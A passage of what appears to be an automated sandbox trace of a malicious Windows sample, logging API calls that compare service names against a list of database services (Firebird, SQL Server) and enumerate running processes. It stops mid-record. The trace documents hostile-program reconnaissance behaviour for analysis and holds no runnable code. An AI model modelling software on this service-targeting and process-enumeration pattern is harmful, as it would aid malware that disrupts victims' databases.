(lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0171.926] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0171.926] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0171.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0171.926] lstrlenW (lpString="PcaSvc") returned 6 [0171.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0171.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0171.926] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0171.926] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0171.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0171.926] lstrlenW (lpString="PlugPlay") returned 8 [0171.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0171.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0171.926] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0171.926] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0171.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0171.926] lstrlenW (lpString="Power") returned 5 [0171.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0171.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0171.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0171.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0171.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0171.926] lstrlenW (lpString="ProfSvc") returned 7 [0171.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0171.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0171.926] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0171.926] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0171.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0171.926] lstrlenW (lpString="RpcEptMapper") returned 12 [0171.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.926] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0171.926] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0171.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0171.926] lstrlenW (lpString="RpcSs") returned 5 [0171.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0171.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0171.927] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0171.927] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0171.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0171.927] lstrlenW (lpString="SamSs") returned 5 [0171.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0171.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0171.927] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0171.927] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0171.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0171.927] lstrlenW (lpString="Schedule") returned 8 [0171.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0171.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0171.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0171.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0171.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0171.927] lstrlenW (lpString="SecurityHealthService") returned 21 [0171.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.927] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0171.927] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0171.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0171.927] lstrlenW (lpString="SENS") returned 4 [0171.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0171.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0171.927] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0171.927] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0171.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0171.927] lstrlenW (lpString="ShellHWDetection") returned 16 [0171.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.927] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0171.927] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0171.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0171.928] lstrlenW (lpString="Spooler") returned 7 [0171.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0171.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0171.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0171.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0171.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0171.928] lstrlenW (lpString="SSDPSRV") returned 7 [0171.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0171.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0171.928] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0171.928] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0171.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0171.928] lstrlenW (lpString="StateRepository") returned 15 [0171.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0171.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0171.928] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0171.928] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0171.928] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0171.928] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0171.932] Process32FirstW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.933] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.933] lstrlenW (lpString="System") returned 6 [0171.933] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.934] lstrlenW (lpString="smss.exe") returned 8 [0171.934] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.935] lstrlenW (lpString="csrss.exe") returned 9 [0171.935] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.935] lstrlenW (lpString="wininit.exe") returned 11 [0171.935] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.936] lstrlenW (lpString="csrss.exe") returned 9 [0171.936] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.937] lstrlenW (lpString="winlogon.exe") returned 12 [0171.937] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.937] lstrlenW (lpString="services.exe") returned 12 [0171.937] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.938] lstrlenW (lpString="lsass.exe") returned 9 [0171.938] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.939] lstrlenW (lpString="svchost.exe") returned 11 [0171.939] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.939] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.939] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.940] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.940] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.941] lstrlenW (lpString="svchost.exe") returned 11 [0171.941] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.942] lstrlenW (lpString="dwm.exe") returned 7 [0171.942] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.942] lstrlenW (lpString="svchost.exe") returned 11 [0171.942] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.943] lstrlenW (lpString="svchost.exe") returned 11 [0171.943] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.944] lstrlenW (lpString="svchost.exe") returned 11 [0171.944] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.945] lstrlenW (lpString="svchost.exe") returned 11 [0171.945] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.945] lstrlenW (lpString="svchost.exe") returned 11 [0171.946] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.946] lstrlenW (lpString="svchost.exe") returned 11 [0171.946] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.947] lstrlenW (lpString="svchost.exe") returned 11 [0171.947] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.948] lstrlenW (lpString="svchost.exe") returned 11 [0171.948] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.948] lstrlenW (lpString="svchost.exe") returned 11 [0171.948] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.949] lstrlenW (lpString="spoolsv.exe") returned 11 [0171.949] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.950] lstrlenW (lpString="svchost.exe") returned 11 [0171.950] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.950] lstrlenW (lpString="svchost.exe") returned 11 [0171.950] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.951] lstrlenW (lpString="audiodg.exe") returned 11 [0171.951] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0171.952] lstrlenW (lpString="sihost.exe") returned 10 [0171.952] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.952] lstrlenW (lpString="svchost.exe") returned 11 [0171.953] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.953] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.953] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0171.954] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0171.954] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0171.955] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0171.955] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.955] lstrlenW (lpString="explorer.exe") returned 12 [0171.955] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0171.956] lstrlenW (lpString="Memory Compression") returned 18 [0171.956] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0171.957] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0171.957] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0171.957] lstrlenW (lpString="SearchUI.exe") returned 12 [0171.958] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0171.958] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0171.958] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0171.960] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0171.960] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.961] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.961] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0171.961] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0171.962] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0171.962] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0171.962] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0171.963] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0171.963] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.964] lstrlenW (lpString="conhost.exe") returned 11 [0171.964] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0171.964] lstrlenW (lpString="screensaver.exe") returned 15 [0171.964] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0171.965] lstrlenW (lpString="upperarc.exe") returned 12 [0171.965] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0171.966] lstrlenW (lpString="buying.exe") returned 10 [0171.966] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0171.967] lstrlenW (lpString="downloadable.exe") returned 16 [0171.967] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0171.967] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0171.967] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0171.968] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0171.968] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0171.969] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0171.969] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0171.970] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0171.970] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0171.970] lstrlenW (lpString="moments.exe") returned 11 [0171.970] Process32NextW (in: hSnapshot=0x374, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, 